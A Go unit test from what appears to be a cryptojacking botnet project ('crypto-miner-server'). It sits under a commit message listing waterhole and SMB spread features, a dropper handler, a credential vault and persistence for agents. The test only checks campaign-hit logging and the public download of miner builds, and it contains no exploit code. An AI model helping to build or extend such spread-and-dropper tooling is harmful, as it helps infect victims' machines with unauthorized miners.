Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
51 lines
1.2 KiB
Go
51 lines
1.2 KiB
Go
package db
|
|
|
|
import (
|
|
"testing"
|
|
"time"
|
|
|
|
"crypto-miner-server/internal/models"
|
|
)
|
|
|
|
func TestLogCampaignHitAndPublicBuilds(t *testing.T) {
|
|
d := openTestDB(t)
|
|
defer d.Close()
|
|
|
|
if err := d.LogCampaignHit("wave-a", "b1", "get", "10.0.0.1", "curl"); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
hits, err := d.ListCampaignHits(10)
|
|
if err != nil || len(hits) != 1 || hits[0].Campaign != "wave-a" {
|
|
t.Fatalf("hits=%v err=%v", hits, err)
|
|
}
|
|
|
|
b1 := &models.BuildRecord{
|
|
ID: "b1", WorkerName: "w1", ServerURL: "http://x", Wallet: "w",
|
|
Threads: 1, Platform: "linux", CreatedAt: time.Now(),
|
|
}
|
|
b2 := &models.BuildRecord{
|
|
ID: "b2", WorkerName: "w2", ServerURL: "http://x", Wallet: "w",
|
|
Threads: 1, Platform: "windows", CreatedAt: time.Now().Add(time.Second),
|
|
}
|
|
_ = d.InsertBuild(b1)
|
|
_ = d.InsertBuild(b2)
|
|
_ = d.SetBuildPublic("b1", true)
|
|
|
|
pub, err := d.ListPublicBuilds(false, 1)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
ids := map[string]bool{}
|
|
for _, b := range pub {
|
|
ids[b.ID] = true
|
|
}
|
|
if !ids["b1"] || !ids["b2"] {
|
|
t.Fatalf("expected public b1 and latest b2, got %v", ids)
|
|
}
|
|
|
|
ok, err := d.IsBuildPubliclyDownloadable("b2", false, 1)
|
|
if err != nil || !ok {
|
|
t.Fatalf("latest build should be public ok=%v err=%v", ok, err)
|
|
}
|
|
}
|